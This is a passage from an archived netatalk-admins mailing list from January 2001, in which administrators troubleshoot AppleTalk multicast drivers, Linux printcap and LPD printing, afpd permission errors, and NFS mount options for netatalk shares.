<http://www.linuxworld.com/linuxworld/lw-1999-04/lw-04-uptime.html>

Anyone got a pointer or tip for me?

Thanks.
-- 
Darron
darron@froese.org


From netatalk.administrators-errors@umich.edu  Mon Jan  8 23:31:34 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id XAA18413
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 8 Jan 2001 23:31:34 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id XAA19228
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 8 Jan 2001 23:31:28 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id XAA19207
	for netatalk.administrators-members@umich.edu; Mon, 8 Jan 2001 23:31:27 -0500 (EST)
Received: from mailout4-0.nyroc.rr.com (mailout4-1.nyroc.rr.com [24.92.226.166])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id XAA19173
	for <netatalk-admins@umich.edu>; Mon, 8 Jan 2001 23:31:26 -0500 (EST)
Received: from [24.25.140.169] (cm-24-25-140-169.nycap.rr.com [24.25.140.169])
	by mailout4-0.nyroc.rr.com (8.9.3/8.9.3) with ESMTP id XAA24006;
	Mon, 8 Jan 2001 23:27:03 -0500 (EST)
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Mon, 08 Jan 2001 23:30:38 -0500
Subject: Re: Some Minor Troubles w/netatalk 1.5pre3
From: Tara Piorkowski <tara@vilaj.com>
To: Tom Watson <tsw@johana.com>, netatalk Admins <netatalk-admins@umich.edu>
Message-ID: <B67FFE1E.7F0%tara@vilaj.com>
In-Reply-To: <3a571a89.johana@johana.com>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

on 1/6/01 8:15 AM, Tom Watson at tsw@johana.com wrote:

> On Fri, 5 Jan 2001 20:06:30 -0500 (EST), netatalk-admins@umich.edu wrote:
>> on 1/3/01 8:26 AM, Chris G. Sellers at sellers@Oakland.edu wrote:
>> 
> 
> <<<deletia>>>
> 
>> 
>> Is the message, "eth0: multicast may not work correctly." a standard message
>> or is the daemon identifying a situation that is specific to a problemmatic
>> environment?
>> 
>>> The mulicast thing may be your culprit.
>> 
>> That's what I think, too, though I haven't been able to definitively
>> conclude this. Similarly, I haven't found a workaround.
>> 
> 
> Having hacked a EtherNet driver (the SEEQ8005 one to be exact), I noted a
> few things.  Some drivers do not implement multicast (at the MAC - Machine
> Access, Level 2) correctly.  Some do not implement it at all.  AppleTalk
> uses multicast address (ethernet) of 09:00:07:FF:FF:FF.  These addresses have
> a '1' in the LOW order bit of the first byte of the ethernet address.
> AppleTalk uses this multicast address to broadcast packets (name lookups
> are but just one) to all other AppleTalk nodes.  This allows non-AppleTalk
> nodes to simply ignore the packets.  In AppleTalk phase 1, the ethernet
> broadcast address of 'FF:FF:FF:FF:FF:FF' (all ones) was used.
> 
> The logic in some chips allows addresses to be selectively received so
> that upper layers of software don't need to bother with packets that
> have no meaning.  If the hardware multicast logic in the driver is not
> complete, some drivers will just put the receiver in "promiscous" (accept
> all packets) mode, which can unnecessarly burden the software in the
> lower levels.  Some drivers just chose to ignore the need for multicast
> which is a BIG mistake, and can lead to AppleTalk NOT working.
> 
> The other thing that happens is that there is ONE kernel variable that
> seems to control both hardware (ISO level 2) and IP (ISO level 3)
> multicasting.  Portions of the code that do the IP multicasting are at
> the protocol level (using IP addresses above 224.0.0.0) have NOTHING to do
> with the hardware multicasting, but they seem to share a variable.  Changing
> it (The variable is CONFIG_IP_MULTICAST) allows the code to ALSO do the
> hardware multicast, which is needed for AppleTalk.  At least this is
> how MY kernel is setup (ymmv).
> 
> I may have the group hardware address wrong for AppleTalk, but the idea
> is similar.  Hopefully this assists someone.  It may just be a simple
> matter of configuring the kernel.  I just checked, the group address
> of '09:00:07:FF:FF:FF' is the proper address for AppleTalk phase 2
> broadcast.  Good luck!!
> 
> References:
> /usr/src/linux/net/appletalk/aarp.c (location varies, but close enough).

Tom,

Thanks for your informative response. I played around with the kernel
configuration a bit, to no avail. Frustrated and needing to do other things,
I slapped a 3Com 3c509 card I had lying around in the machine, recompiled an
appropriate kernel, restarted and everything came up as I expected it to.
So, either there's a problem in the TLAN driver not supporting multicast or
there's a similar problem with the Proliant's Netelligent card. Regardless,
the money saved in time will easily cover the cost of the 3Com card.
Honestly, I'm a little surprised as I figured there are tons of Proliants
out there and some of them have to be running netatalk. Nonetheless, I
appreciate the help you and others provided. Thanks.

Tara

-- 
Tara Piorkowski
Network Administrator, vilaj.com


From netatalk.administrators-errors@umich.edu  Tue Jan  9 02:04:53 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id CAA21387
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 9 Jan 2001 02:04:53 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id CAA10652
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 9 Jan 2001 02:04:53 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id CAA10615
	for netatalk.administrators-members@umich.edu; Tue, 9 Jan 2001 02:04:52 -0500 (EST)
Received: from bowman.scf.orst.edu (bowman.SCF.ORST.EDU [128.193.161.87])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id CAA10571
	for <netatalk-admins@umich.edu>; Tue, 9 Jan 2001 02:04:50 -0500 (EST)
Received: from localhost (morgan@localhost)
	by bowman.scf.orst.edu (8.9.3/8.9.3) with ESMTP id XAA28351;
	Mon, 8 Jan 2001 23:03:42 -0800
X-Authentication-Warning: bowman.scf.orst.edu: morgan owned process doing -bs
Date: Mon, 8 Jan 2001 23:03:42 -0800 (PST)
From: andrew morgan <morgan@orst.edu>
X-Sender:  <morgan@bowman.scf.orst.edu>
To: Darron Froese <darron@froese.org>
cc: <netatalk-admins@umich.edu>
Subject: Re: PAPD and LPR...
In-Reply-To: <B67FDD4D.AD5C%darron@froese.org>
Message-ID: <Pine.LNX.4.30.0101082255450.27728-100000@bowman.scf.orst.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

On Mon, 8 Jan 2001, Darron Froese wrote:

> I'm trying to set up a print server for the growing number of PC's in our
> all Mac office. The printer is a Xerox Docuprint N32 - I'm running Mandrake
> 7.0 on the print server and cannot upgrade.
>
> After I get it printing from the command line in Linux, I'm going to set up
> Samba to share it for the PC's.
>
> I'm running into a few problems.
>
> /etc/printcap:
>
> laser|lp|Design Black and White:\
>         :sd=/var/spool/lpd/designbw:\
>         :lp=/dev/null:\
>         :lf=/var/log/lpd-errs:pw#80:hl:\
>         :of=/usr/sbin/ofpap:\
>         :if=/usr/sbin/ifpaprev:\
>         :tf=/usr/sbin/tfpaprev:

Why not send your jobs to the Xerox using the LPD protocol?  I'd be
surprised if this printer only does appletalk printing.  Just modify your
printcap to:

laser|lp|Design Black and White:\
	:sd=/var/spool/lpd/designbw:\
	:rm=hostname.of.printer.org:\
	:rp=raw:\
	:lf=/var/log/lpd-errs:pw#80:hl:\
	:if=/var/spool/lpd/designbw/filter:

The rm option is the IP address or hostname of the printer.  The rp option
specifies the name of a queue on the remote machine, which varies from
printer to printer.  On HP printers, the "raw" queue tells the printer
that the job is already formatted for the printer.  I'm not sure about my
setting for the if option above.  That is what I had in my printcap, but
it may be different on Mandrake 7.  You should probably use Mandrake's GUI
tool to create the printer.  Just tell it you want to print to a remote
LPD printer.

	Andy


From netatalk.administrators-errors@umich.edu  Tue Jan  9 05:54:42 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id FAA25713
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 9 Jan 2001 05:54:42 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id FAA10257
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 9 Jan 2001 05:54:42 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id FAA10232
	for netatalk.administrators-members@umich.edu; Tue, 9 Jan 2001 05:54:41 -0500 (EST)
Received: from mail.hauptsache.net (www.hauptsache.net [195.88.44.25])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id FAA10174
	for <netatalk-admins@umich.edu>; Tue, 9 Jan 2001 05:54:40 -0500 (EST)
Received: from lespaul (p3E9EAB60.dip.t-dialin.net [62.158.171.96])
	by mail.hauptsache.net (8.9.3/8.9.3) with SMTP id LAA21648
	for <netatalk-admins@umich.edu>; Tue, 9 Jan 2001 11:44:48 +0100
Message-ID: <003101c07a2a$cb0fcf80$4dc8a8c0@hauptsache.intra>
From: "Nikolas Hagelstein" <hagelstein@hauptsache.net>
To: <netatalk-admins@umich.edu>
Subject: Dancing icons again....
Date: Tue, 9 Jan 2001 11:56:08 +0100
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4522.1200
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200

Hi,

never ending story:
Linux server Kernel 2.2.17 (rh7)
netatalk-1.4b2+asun2.1.4-37b.1flock
only guest access...

two folders are suffering on the well know "dancing icons"-problem
i already checked permissions and filenamelenght without any success...
All files have the following permissions :  -rw-r--r-  : and are owned by
nobody
and grouped by nobody (which is the netatalk guest UID in my case).
the problem temporary disappears when the users moves around the files ...
But after a while it appears again on another folder ...grrr..
i already spend nights in searching the internet for a solution but nothing
really solves my problem...
I really hope anyone of you can help....
bye,
            Niko




From netatalk.administrators-errors@umich.edu  Tue Jan  9 14:26:21 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id OAA09944
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 9 Jan 2001 14:26:20 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA27803
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 9 Jan 2001 14:26:14 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA27777
	for netatalk.administrators-members@umich.edu; Tue, 9 Jan 2001 14:26:13 -0500 (EST)
Received: from kanarie.xilay.cxm (cc56962-a.ensch1.ov.nl.home.com [212.204.167.144])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id OAA27702
	for <netatalk-admins@umich.edu>; Tue, 9 Jan 2001 14:26:11 -0500 (EST)
From: netatalk@enschede.dhs.org
Received: (from lp@localhost)
	by kanarie.xilay.cxm (8.10.2/8.10.2/SuSE Linux 8.10.0-0.3) id f09JQTo20469
	for netatalk-admins@umich.edu; Tue, 9 Jan 2001 20:26:29 +0100
X-Authentication-Warning: kanarie.xilay.cxm: lp set sender to netatalk@enschede.dhs.org using -f
To: netatalk-admins@umich.edu
Subject: Need urgent help
Message-ID: <979068389.3a5b65e59264e@Kanarie>
Date: Tue, 09 Jan 2001 20:26:29 +0100 (CET)
MIME-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
User-Agent: IMP/PHP IMAP webmail program 2.2.3
X-Originating-IP: 192.168.0.1

Follwing line appears a few times a day in the messages:

afpd[29274]: setdirowner: chown -
1/0 .AppleDouble/.Parent: Operation not permitted

The Mac user gets the message that a volume or file is 
not found, they have rwx rights as group user and rwx 
as user, it seems pretty (to open) to me! WorldWide 
acces is prohibited.

I tried chmod g+s afpd but this doesn't seem to work.

I'm running SuSE 7.0 with Netatalk with asun patches.

With friendly regards,

Vincent

From netatalk.administrators-errors@umich.edu  Tue Jan  9 19:28:12 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id TAA19398
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 9 Jan 2001 19:28:11 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id TAA00063
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 9 Jan 2001 19:28:11 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id TAA00049
	for netatalk.administrators-members@umich.edu; Tue, 9 Jan 2001 19:28:11 -0500 (EST)
Received: from moutvdom00.kundenserver.de (moutvdom00.kundenserver.de [195.20.224.149])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id TAA29983
	for <netatalk-admins@umich.edu>; Tue, 9 Jan 2001 19:28:08 -0500 (EST)
Received: from [195.20.224.219] (helo=mrvdom03.kundenserver.de)
	by moutvdom00.kundenserver.de with esmtp (Exim 2.12 #2)
	id 14G97S-0004Xw-00
	for netatalk-admins@umich.edu; Wed, 10 Jan 2001 01:28:02 +0100
Received: from pc19eace2.dip0.t-ipconnect.de ([193.158.172.226])
	by mrvdom03.kundenserver.de with esmtp (Exim 2.12 #2)
	id 14G97O-00041z-00
	for netatalk-admins@umich.edu; Wed, 10 Jan 2001 01:27:58 +0100
User-Agent: Microsoft-Entourage/9.0.2509
Date: Wed, 10 Jan 2001 01:26:35 +0100
Subject: Re: Linux ?
From: Thomas Schierle <ts@visual-s.de>
To: Netatalk-Admins <netatalk-admins@umich.edu>
Message-ID: <B681521D.23076%ts@visual-s.de>
In-Reply-To: <3A59DCF4.C9C19203@potsdam.edu>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

On 01-01-08 16:29 +0100, Matthew Keller <kellermg@potsdam.edu> wrote:

> Thomas Schierle wrote:
>> 
>> The manual to SuSE 7.0 (kernel already supporting LVM) just says, don't
>> enable LVM unless you know exactly what you are doing  ...
> 
> SuSe 7.0 isn't running the 2.4.0 kernel, either.

The kernel that comes with SuSE 7.0 is feature enriched -- a couple of
2.4.0 kernel features are ported back to kernel 2.2.16.

boot.msg contains a line "<6> LVM version 0.8e ..." for me.

>> Can you point to some related good readings at the internet?
> 
> There isn't anything good out there yet AFAIK. 2.4.0 just went gold
> last week.

Thanks, saves me from wasting my time with searches at Google.
Looks like I should wait for the kernel upgrade appear at SuSEs
web site and take a look at the accompanying docs first.

-- 
Thomas Schierle, Munich, Germany

PGP key [DSS/DH] 0xA23CDA1D available at various public key servers


From netatalk.administrators-errors@umich.edu  Tue Jan  9 22:34:46 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id WAA23064
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 9 Jan 2001 22:34:46 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id WAA23378
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 9 Jan 2001 22:34:46 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id WAA23355
	for netatalk.administrators-members@umich.edu; Tue, 9 Jan 2001 22:34:45 -0500 (EST)
Received: from clever.visp-europe.psi.com (clever.visp-europe.psi.com [212.222.105.4])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id WAA23314
	for <netatalk-admins@umich.edu>; Tue, 9 Jan 2001 22:34:43 -0500 (EST)
Received: from n246-36.berlin.snafu.de ([195.21.246.36] helo=athlet.deltaman.de)
	by clever.visp-europe.psi.com with esmtp (Exim 3.14 #1)
	id 14GC26-0001Ok-00; Wed, 10 Jan 2001 04:34:42 +0100
Received: from athlet (root@athlet.deltaman.de [192.168.1.1])
	by athlet.deltaman.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with SMTP id EAA26683;
	Wed, 10 Jan 2001 04:34:05 +0100
From: Carsten Neumann <deltor@snafu.de>
Reply-To: deltor@snafu.de
To: linux-mac68k <linux-mac68k@mac.linux-m68k.org>, netatalk-admins@umich.edu
Subject: Probably OT: netatalk + printing
Date: Wed, 10 Jan 2001 03:49:58 +0100
X-Mailer: KMail [version 1.0.28]
Content-Type: text/plain
MIME-Version: 1.0
Message-Id: <01011004340401.17968@athlet>
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id WAA23064

Hi all,

I'm using netatalk (papd) to print from my Mac to a lpd printer on my linux box.
When I print from my Mac lpq shows:
	Warning: queue is not active (no server present).
When I print locally everything is fine.

If anyone can help please let me know.

Thanks

	Carsten

From netatalk.administrators-errors@umich.edu  Wed Jan 10 00:17:24 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id AAA25510
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 10 Jan 2001 00:17:24 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id AAA29788
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 10 Jan 2001 00:17:24 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id AAA29770
	for netatalk.administrators-members@umich.edu; Wed, 10 Jan 2001 00:17:23 -0500 (EST)
Received: from ans.odi.ca (h24-71-207-132.cg.shawcable.net [24.71.207.132])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id AAA29731
	for <netatalk-admins@umich.edu>; Wed, 10 Jan 2001 00:17:21 -0500 (EST)
Received: from [192.168.1.10] (buzzsaw.internal.froese.org [192.168.1.10])
	by ans.odi.ca (Postfix) with ESMTP
	id 214184DF3; Tue,  9 Jan 2001 22:17:20 -0700 (MST)
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Tue, 09 Jan 2001 22:17:21 -0700
Subject: Re: Netatalk and NFS
From: Darron Froese <darron@froese.org>
To: Matthew Keller <kellermg@potsdam.edu>
Cc: <netatalk-admins@umich.edu>
Message-ID: <B6813E71.3320%darron@froese.org>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

on 1/8/01 8:29 AM, Matthew Keller at kellermg@potsdam.edu wrote:

> Make sure your time on both NFS server and NFS client are the same-
> Down to the second.

Check. I just synched them with ntpdate to the same server.

> I use the following flags when I mount NFS volumes
> for share with Netatalk. You gotta turn off NFS locking because Apple is
> lame and is CONSTANTLY writing and reading resource forks while a file
> is open (even in the midst of a copy)
> 
> nolock,nosuid,noexec,wsize=8192,bg,nodev,rsize=8192,intr

I've got this:

soft,intr,user,nolock,nosuid,noexec,nodev,wsize=8192,rsize=8192

I can now read just fine from those NFS shared directories, but I cannot
write reliably. I am able to write a file once in a while - but not on
command.

Usually I get "The item $ITEM cannot be written because of an error of type
-50. Would you like to continue?" Of course continuing does nothing.

I have found a workaround for the time being - I can copy the file to a
non-NFS mounted directory and then *move* it to the NFS mounted directory.
The file is fine when I copy it off of the NFS server (via an additional
test netatalk server).

Any other ideas?
-- 
Darron
darron@froese.org




From netatalk.administrators-errors@umich.edu  Wed Jan 10 13:09:26 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id NAA13454
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 10 Jan 2001 13:09:26 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA08692
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 10 Jan 2001 13:09:21 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA08675
	for netatalk.administrators-members@umich.edu; Wed, 10 Jan 2001 13:09:20 -0500 (EST)
Received: from igw1.edipresse.ch (igw1.edipresse.ch [194.209.141.131])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id NAA08643
	for <netatalk-admins@umich.edu>; Wed, 10 Jan 2001 13:09:18 -0500 (EST)
Received: (from root@localhost)
	by igw1.edipresse.ch (8.9.3/8.9.3) id TAA22059;
	Wed, 10 Jan 2001 19:11:22 +0100 (MET)
Received: from melob.edipresse.ch(172.16.11.23) by igw1.edipresse.ch via smap (V2.1+anti-relay+anti-spam)
	id xma022057; Wed, 10 Jan 01 19:11:19 +0100
Received: by melob.edipresse.ch with Internet Mail Service (5.5.2653.19)
	id <C2VAALWV>; Wed, 10 Jan 2001 19:07:17 +0100
Message-ID: <9F9FCF268C46D411B60600508B6F8726A275BD@meloe.edipresse.ch>
From: Michalowski Thierry <Thierry.Michalowski@edipresse.ch>
To: "'Darron Froese '" <darron@froese.org>,
        "'Matthew Keller '"
	 <kellermg@potsdam.edu>
Cc: "'netatalk-admins@umich.edu '" <netatalk-admins@umich.edu>
Subject: RE: Netatalk and NFS
Date: Wed, 10 Jan 2001 19:08:44 +0100
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01C07B30.5EBDFD50"

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C07B30.5EBDFD50
Content-Type: text/plain;
	charset="iso-8859-1"

Hi,
Usually, "soft" mounting something is a bad idea (man mount). Unless you
exactly know what you're doing, I would recommend against such a thing.

Don't know if this could help with netatalk, though...

HTH
Thierry 

-----Message d'origine-----
De: Darron Froese
A: Matthew Keller
Cc: netatalk-admins@umich.edu
Date: 10/01/01 06:17
Objet: Re: Netatalk and NFS

on 1/8/01 8:29 AM, Matthew Keller at kellermg@potsdam.edu wrote:

> Make sure your time on both NFS server and NFS client are the same-
> Down to the second.

Check. I just synched them with ntpdate to the same server.

> I use the following flags when I mount NFS volumes
> for share with Netatalk. You gotta turn off NFS locking because Apple
is
> lame and is CONSTANTLY writing and reading resource forks while a file
> is open (even in the midst of a copy)
> 
> nolock,nosuid,noexec,wsize=8192,bg,nodev,rsize=8192,intr

I've got this:

soft,intr,user,nolock,nosuid,noexec,nodev,wsize=8192,rsize=8192

I can now read just fine from those NFS shared directories, but I cannot
write reliably. I am able to write a file once in a while - but not on
command.

Usually I get "The item $ITEM cannot be written because of an error of
type
-50. Would you like to continue?" Of course continuing does nothing.

I have found a workaround for the time being - I can copy the file to a
non-NFS mounted directory and then *move* it to the NFS mounted
directory.
The file is fine when I copy it off of the NFS server (via an additional
test netatalk server).

Any other ideas?
-- 
Darron
darron@froese.org



------_=_NextPart_001_01C07B30.5EBDFD50
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Diso-8859-1">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2653.12">
<TITLE>RE: Netatalk and NFS</TITLE>
</HEAD>
<BODY>

<P><FONT SIZE=3D2>Hi,</FONT>
<BR><FONT SIZE=3D2>Usually, &quot;soft&quot; mounting something is a =
bad idea (man mount). Unless you exactly know what you're doing, I =
would recommend against such a thing.</FONT></P>

<P><FONT SIZE=3D2>Don't know if this could help with netatalk, =
though...</FONT>
</P>

<P><FONT SIZE=3D2>HTH</FONT>
<BR><FONT SIZE=3D2>Thierry </FONT>
</P>

<P><FONT SIZE=3D2>-----Message d'origine-----</FONT>
<BR><FONT SIZE=3D2>De: Darron Froese</FONT>
<BR><FONT SIZE=3D2>A: Matthew Keller</FONT>
<BR><FONT SIZE=3D2>Cc: netatalk-admins@umich.edu</FONT>
<BR><FONT SIZE=3D2>Date: 10/01/01 06:17</FONT>
<BR><FONT SIZE=3D2>Objet: Re: Netatalk and NFS</FONT>
</P>

<P><FONT SIZE=3D2>on 1/8/01 8:29 AM, Matthew Keller at =
kellermg@potsdam.edu wrote:</FONT>
</P>

<P><FONT SIZE=3D2>&gt; Make sure your time on both NFS server and NFS =
client are the same-</FONT>
<BR><FONT SIZE=3D2>&gt; Down to the second.</FONT>
</P>

<P><FONT SIZE=3D2>Check. I just synched them with ntpdate to the same =
server.</FONT>
</P>

<P><FONT SIZE=3D2>&gt; I use the following flags when I mount NFS =
volumes</FONT>
<BR><FONT SIZE=3D2>&gt; for share with Netatalk. You gotta turn off NFS =
locking because Apple</FONT>
<BR><FONT SIZE=3D2>is</FONT>
<BR><FONT SIZE=3D2>&gt; lame and is CONSTANTLY writing and reading =
resource forks while a file</FONT>
<BR><FONT SIZE=3D2>&gt; is open (even in the midst of a copy)</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; =
nolock,nosuid,noexec,wsize=3D8192,bg,nodev,rsize=3D8192,intr</FONT>
</P>

<P><FONT SIZE=3D2>I've got this:</FONT>
</P>

<P><FONT =
SIZE=3D2>soft,intr,user,nolock,nosuid,noexec,nodev,wsize=3D8192,rsize=3D=
8192</FONT>
</P>

<P><FONT SIZE=3D2>I can now read just fine from those NFS shared =
directories, but I cannot</FONT>
<BR><FONT SIZE=3D2>write reliably. I am able to write a file once in a =
while - but not on</FONT>
<BR><FONT SIZE=3D2>command.</FONT>
</P>

<P><FONT SIZE=3D2>Usually I get &quot;The item $ITEM cannot be written =
because of an error of</FONT>
<BR><FONT SIZE=3D2>type</FONT>
<BR><FONT SIZE=3D2>-50. Would you like to continue?&quot; Of course =
continuing does nothing.</FONT>
</P>

<P><FONT SIZE=3D2>I have found a workaround for the time being - I can =
copy the file to a</FONT>
<BR><FONT SIZE=3D2>non-NFS mounted directory and then *move* it to the =
NFS mounted</FONT>
<BR><FONT SIZE=3D2>directory.</FONT>
<BR><FONT SIZE=3D2>The file is fine when I copy it off of the NFS =
server (via an additional</FONT>
<BR><FONT SIZE=3D2>test netatalk server).</FONT>
</P>

<P><FONT SIZE=3D2>Any other ideas?</FONT>
<BR><FONT SIZE=3D2>-- </FONT>
<BR><FONT SIZE=3D2>Darron</FONT>
<BR><FONT SIZE=3D2>darron@froese.org</FONT>
</P>
<BR>

</BODY>
</HTML>
------_=_NextPart_001_01C07B30.5EBDFD50--

From netatalk.administrators-errors@umich.edu  Wed Jan 10 13:56:46 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id NAA14788
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 10 Jan 2001 13:56:46 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA12831
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 10 Jan 2001 13:56:41 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA12817
	for netatalk.administrators-members@umich.edu; Wed, 10 Jan 2001 13:56:40 -0500 (EST)
Received: from leonids.lunar.com (leonids.lunar.com [207.33.114.14])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id NAA12720
	for <netatalk-admins@umich.edu>; Wed, 10 Jan 2001 13:56:35 -0500 (EST)
Received: (from miketec@localhost)
	by leonids.lunar.com (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) id KAA00485;
	Wed, 10 Jan 2001 10:57:11 -0800
Message-Id: <200101101857.KAA00485@leonids.lunar.com>
Subject: Re: Netatalk and NFS
From: Mike Johnson <mikej@lunar.com>
To: Darron Froese <darron@froese.org>
Cc: Matthew Keller <kellermg@potsdam.edu>, netatalk-admins@umich.edu
In-Reply-To: <B6813E71.3320%darron@froese.org>
Content-Type: text/plain
X-Mailer: Evolution 0.8 (Developer Preview)
Date: 10 Jan 2001 10:57:11 -0800
Mime-Version: 1.0

Hello,

Any time I've gotten a -50 error with a mac, it has been about the
server's permissions. You will need to check to make sure you're using
the appropriate settings on that.

You might find it useful to use the "gid" option with the mount command.
"gid=users" can be added to force the contents of your NFS mounts to
appear as owned by group "users". You'll probably want the NFS mount to
